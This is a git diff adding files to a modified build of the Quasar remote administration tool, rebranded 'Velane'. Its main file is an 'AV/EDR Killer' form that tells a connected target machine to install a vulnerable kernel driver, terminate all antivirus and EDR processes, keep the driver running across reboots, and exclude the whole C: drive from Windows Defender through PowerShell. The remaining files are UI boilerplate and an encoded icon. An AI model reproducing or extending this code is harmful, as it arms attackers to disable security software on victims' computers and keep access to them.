{ + AddLog($"WARNING: Driver file not found at {driverPath}", true); + } + + if (File.Exists(killerPath)) + { + _killerData = File.ReadAllBytes(killerPath); + AddLog($"Loaded killer file ({_killerData.Length} bytes)"); + } + else + { + AddLog($"WARNING: Killer file not found at {killerPath}", true); + } + } + catch (Exception ex) + { + AddLog($"ERROR loading resources: {ex.Message}", true); + } + } + + private void Handler_OutputReceived(object sender, OutputEventArgs e) + { + if (InvokeRequired) + { + Invoke(new Action(() => Handler_OutputReceived(sender, e))); + return; + } + + AddFormattedOutput(e.Output, e.IsError); + } + + private void FrmAVKiller_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = $"AV/EDR Killer - {_client.Value.Username}@{_client.EndPoint.Address}"; + AddLog($"Connected to {_client.Value.Username}@{_client.EndPoint.Address}"); + AddLog("Ready to execute commands"); + txtLog.AppendText("\r\n"); + } + + private void btnCheckDriver_Click(object sender, EventArgs e) + { + AddLog("═══════════════════════════════════════════════════════════"); + AddLog("Checking for driver..."); + txtLog.AppendText("\r\n"); + _client.Send(new DoAVKillerCommand + { + Command = "CHECK_DRIVER" + }); + } + + private void btnInstallDriver_Click(object sender, EventArgs e) + { + if (_driverData == null || _driverData.Length == 0) + { + MessageBox.Show("Driver file not loaded. Please ensure vulndriver.sys exists in Resources folder.", + "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + DialogResult result = MessageBox.Show( + "Install vulnerable driver to target system?\n\n" + + "This will:\n" + + "1. Upload vulndriver.sys to a random temp directory\n" + + "2. Register it as a kernel service\n" + + "3. Start the driver\n\n" + + "This requires administrator privileges on the target.", + "Confirm Installation", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result == DialogResult.Yes) + { + AddLog("═══════════════════════════════════════════════════════════"); + AddLog("Installing driver..."); + txtLog.AppendText("\r\n"); + _client.Send(new DoAVKillerCommand + { + Command = "INSTALL_DRIVER", + DriverData = _driverData + }); + } + } + + private void btnKillAVEDR_Click(object sender, EventArgs e) + { + if (_killerData == null || _killerData.Length == 0) + { + MessageBox.Show("Killer file not loaded. Please ensure Killer.exe exists in Resources folder.", + "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + DialogResult result = MessageBox.Show( + "Attempt to kill ALL AV/EDR processes on target system?\n\n" + + "This is a high-risk operation that:\n" + + "- Requires the vulnerable driver to be installed\n" + + "- May trigger alerts\n" + + "- Will terminate security software\n\n" + + "Continue?", + "Confirm Action", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result == DialogResult.Yes) + { + AddLog("═══════════════════════════════════════════════════════════"); + AddLog("Executing AV/EDR termination..."); + txtLog.AppendText("\r\n"); + btnStopKiller.Enabled = true; + _client.Send(new DoAVKillerCommand + { + Command = "KILL_AVEDR", + KillerData = _killerData + }); + } + } + + private void btnStopKiller_Click(object sender, EventArgs e) + { + DialogResult result = MessageBox.Show( + "Stop the Killer.exe process on target system?", + "Confirm Stop", + MessageBoxButtons.YesNo, + MessageBoxIcon.Question); + + if (result == DialogResult.Yes) + { + AddLog("═══════════════════════════════════════════════════════════"); + AddLog("Sending stop command..."); + txtLog.AppendText("\r\n"); + btnStopKiller.Enabled = false; + _client.Send(new DoAVKillerCommand + { + Command = "STOP_KILLER" + }); + } + } + + private void chkMakePersistent_CheckedChanged(object sender, EventArgs e) + { + if (chkMakePersistent.Checked) + { + DialogResult result = MessageBox.Show( + "Make the driver persistent across reboots?\n\n" + + "This will configure the driver to auto-start on system boot.", + "Confirm Persistence", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result == DialogResult.Yes) + { + AddLog("═══════════════════════════════════════════════════════════"); + AddLog("Making driver persistent..."); + txtLog.AppendText("\r\n"); + _client.Send(new DoAVKillerCommand + { + Command = "MAKE_PERSISTENT" + }); + } + else + { + chkMakePersistent.Checked = false; + } + } + } + + private void btnExcludeCDrive_Click(object sender, EventArgs e) + { + DialogResult result = MessageBox.Show( + "Exclude C:\\ drive from Windows Defender?\n\n" + + "This will run:\nPowerShell Add-MpPreference -ExclusionPath 'C:\\'\n\n" + + "This requires administrator privileges.", + "Confirm Exclusion", + MessageBoxButtons.YesNo, + MessageBoxIcon.Warning); + + if (result == DialogResult.Yes) + { + AddLog("═══════════════════════════════════════════════════════════"); + AddLog("Excluding C:\\ from Windows Defender..."); + txtLog.AppendText("\r\n"); + _client.Send(new DoAVKillerCommand + { + Command = "EXCLUDE_CDRIVE" + }); + } + } + + private void AddLog(string message, bool isError = false) + { + string timestamp = DateTime.Now.ToString("HH:mm:ss"); + string prefix = isError ? "[ERROR]" : "[INFO]"; + txtLog.AppendText($"[{timestamp}] {prefix} {message}\r\n"); + } + + private void AddFormattedOutput(string message, bool isError = false) + { + if (string.IsNullOrWhiteSpace(message)) + return; + + // Clean up the message + message = message.TrimEnd('\n', '\r'); + + // Format based on content + if (message.StartsWith(">>")) + { + // Status messages from client + txtLog.AppendText($" {message.Substring(2).Trim()}\r\n"); + } + else if (message.Contains("Killed:") || message.Contains("killed") || message.Contains("Terminated")) + { + // Process kill messages - format as list + txtLog.AppendText($" ✓ {message}\r\n"); + } + else if (message.StartsWith("DRIVER:")) + { + // Driver status + string status = message.Replace("DRIVER:", "").Trim(); + txtLog.AppendText($" Driver Status: {status}\r\n"); + } + else if (message.Contains("SUCCESS") || message.Contains("completed")) + { + // Success messages + txtLog.AppendText($" ✓ {message}\r\n"); + } + else if (isError || message.Contains("ERROR") || message.Contains("FAILED") || message.Contains("failed")) + { + // Error messages + txtLog.AppendText($" ✗ {message}\r\n"); + } + else + { + // Regular output + txtLog.AppendText($" {message}\r\n"); + } + } + + private void FrmAVKiller_FormClosing(object sender, FormClosingEventArgs e) + { + if (_handler != null) + { + _handler.OutputReceived -= Handler_OutputReceived; + MessageHandler.Unregister(_handler); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.resx new file mode 100755 index 0000000..1af7de1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.Designer.cs new file mode 100755 index 0000000..6fd294c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.Designer.cs @@ -0,0 +1,134 @@ +namespace Quasar.Server.Forms +{ + partial class FrmAbout + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAbout)); + this.picIcon = new System.Windows.Forms.PictureBox(); + this.lblTitle = new System.Windows.Forms.Label(); + this.rtxtContent = new System.Windows.Forms.RichTextBox(); + this.lblLicense = new System.Windows.Forms.Label(); + this.lblSubTitle = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.picIcon)).BeginInit(); + this.SuspendLayout(); + // + // picIcon + // + this.picIcon.Image = global::Quasar.Server.Properties.Resources.Quasar_Server; + this.picIcon.Location = new System.Drawing.Point(15, 15); + this.picIcon.Margin = new System.Windows.Forms.Padding(4); + this.picIcon.Name = "picIcon"; + this.picIcon.Size = new System.Drawing.Size(64, 64); + this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picIcon.TabIndex = 0; + this.picIcon.TabStop = false; + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblTitle.Location = new System.Drawing.Point(102, 9); + this.lblTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(100, 37); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Quasar"; + // + // rtxtContent + // + this.rtxtContent.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.rtxtContent.ForeColor = System.Drawing.Color.White; + this.rtxtContent.Location = new System.Drawing.Point(19, 116); + this.rtxtContent.Margin = new System.Windows.Forms.Padding(4); + this.rtxtContent.Name = "rtxtContent"; + this.rtxtContent.ReadOnly = true; + this.rtxtContent.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.rtxtContent.Size = new System.Drawing.Size(1222, 338); + this.rtxtContent.TabIndex = 6; + this.rtxtContent.Text = "All glory to 92, eL and Toxi\n\nNo, you do not have permission to publish this as y" + + "our own.\n\n@ZwClose on telegram.\n@tcixt on telegram.\n@iloverootkit on telegram.\n"; + this.rtxtContent.TextChanged += new System.EventHandler(this.rtxtContent_TextChanged); + // + // lblLicense + // + this.lblLicense.AutoSize = true; + this.lblLicense.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblLicense.Location = new System.Drawing.Point(13, 92); + this.lblLicense.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblLicense.Name = "lblLicense"; + this.lblLicense.Size = new System.Drawing.Size(57, 20); + this.lblLicense.TabIndex = 5; + this.lblLicense.Text = "License"; + this.lblLicense.Click += new System.EventHandler(this.lblLicense_Click); + // + // lblSubTitle + // + this.lblSubTitle.AutoSize = true; + this.lblSubTitle.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblSubTitle.Location = new System.Drawing.Point(105, 46); + this.lblSubTitle.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblSubTitle.Name = "lblSubTitle"; + this.lblSubTitle.Size = new System.Drawing.Size(222, 23); + this.lblSubTitle.TabIndex = 1; + this.lblSubTitle.Text = "Remote Administration Tool"; + // + // FrmAbout + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1254, 506); + this.Controls.Add(this.lblSubTitle); + this.Controls.Add(this.lblLicense); + this.Controls.Add(this.rtxtContent); + this.Controls.Add(this.lblTitle); + this.Controls.Add(this.picIcon); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.White; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmAbout"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Velane - About"; + ((System.ComponentModel.ISupportInitialize)(this.picIcon)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.PictureBox picIcon; + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.RichTextBox rtxtContent; + private System.Windows.Forms.Label lblLicense; + private System.Windows.Forms.Label lblSubTitle; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.cs new file mode 100755 index 0000000..990f2bb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.cs @@ -0,0 +1,53 @@ +using System; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmAbout : Form + { + private readonly string _repositoryUrl = @"https://github.com/quasar/Quasar"; + + public FrmAbout() + { + InitializeComponent(); + Utilities.ThemeManager.ApplyThemeToNewForm(this); + + + + + } + + private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + + } + + private void lnkCredits_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + + } + + private void btnOkay_Click(object sender, EventArgs e) + { + // Don't close if embedded in a tab (TopLevel = false) + if (this.TopLevel) + this.Close(); + } + + private void lblLicense_Click(object sender, EventArgs e) + { + + } + + private void lblVersion_Click(object sender, EventArgs e) + { + + } + + private void rtxtContent_TextChanged(object sender, EventArgs e) + { + + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAbout.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + 